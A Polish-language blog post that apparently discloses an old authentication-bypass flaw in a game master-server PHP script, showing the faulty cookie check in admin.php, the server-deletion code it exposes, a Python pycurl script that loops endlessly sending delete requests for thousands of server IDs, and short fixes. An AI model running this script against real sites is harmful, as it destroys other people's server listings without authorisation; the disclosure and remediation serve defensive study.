Podatność została znaleziona kilka miesięcy temu dopiero teraz zdecydowałem się ją opisać , większość masterserwerów jest już zabezpieczona przed nią także skrypt ms do pobrania jest już zabezpieczony. Jednak zdecydowałem się wrzucić informacje o tym.
W skrypcie boosta można było znaleźć podatność która pozwalała np. na usuwanie serwerów z listy.
Zaznaczam że do kodu starego ms’a nie mam już dostępu zniknęły w czeluściach mojego dysku a downloadu nie znalazłem dlatego ten post nie będzie aż tak dokładny jakbym chciał.
W pliku admin.php można było znaleźć kod podobny do tego
( jest to już kod poprawiony )
Z powodu błędu w warunku
if(isset($_COOKIE["adminhash"]) AND $_COOKIE["adminhash"] != $auth[2] OR !isset($_COOKIE["adminhash"]))
można było przejść do includowania admin_server_list.php.
require_once "include/admin/admin_server_list.php";
w pliku admin_server_list.php można znaleźć taki kod
else if(!empty($_GET['del'])) {
$id = intval($_GET['del']);
$sql = mysql_query("SELECT * FROM `servers` WHERE `id` = {$id}") or die(mysql_error());
if(mysql_num_rows($sql) > 0) {
$row = mysql_fetch_assoc($sql);
echo '
';
echo '
';
} else {
echo $newMess->into_msg("2", "Ten serwer nie istnieje", "2");
} ( także zmieniony już kod , ale czy poprawiony 😛 ? )
Skrypt w python 3 który wykorzystywał tą podatność
#-*- encoding: utf-8 -*-
import pycurl
import threading
import urllib.parse
import io
url = "url"
repeat = 5000;
url = url + "/admin.php?servers=1"
while True:
for x in range( 0 , repeat ):
values = {
'del': 1,
'id': x
}
c = pycurl.Curl()
c.setopt( pycurl.URL, url );
c.setopt( pycurl.NOBODY, True );
c.setopt( c.POST, True);
data = urllib.parse.urlencode( values )
c.setopt( c.POSTFIELDS, data)
c.setopt( pycurl.HEADER, True);
c.setopt( pycurl.HTTPHEADER, [ "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)" , "Connection: keep-alive" ] );
c.setopt( pycurl.TIMEOUT, 10);
body = io.BytesIO()
c.setopt( pycurl.WRITEFUNCTION, body.write )
c.perform()
Sposoby naprawy
- Ukrycie pliku admin.php ( zmiana nazwy , zablokowanie na ip etc. )
- Naprawa warunku w pliku admin.php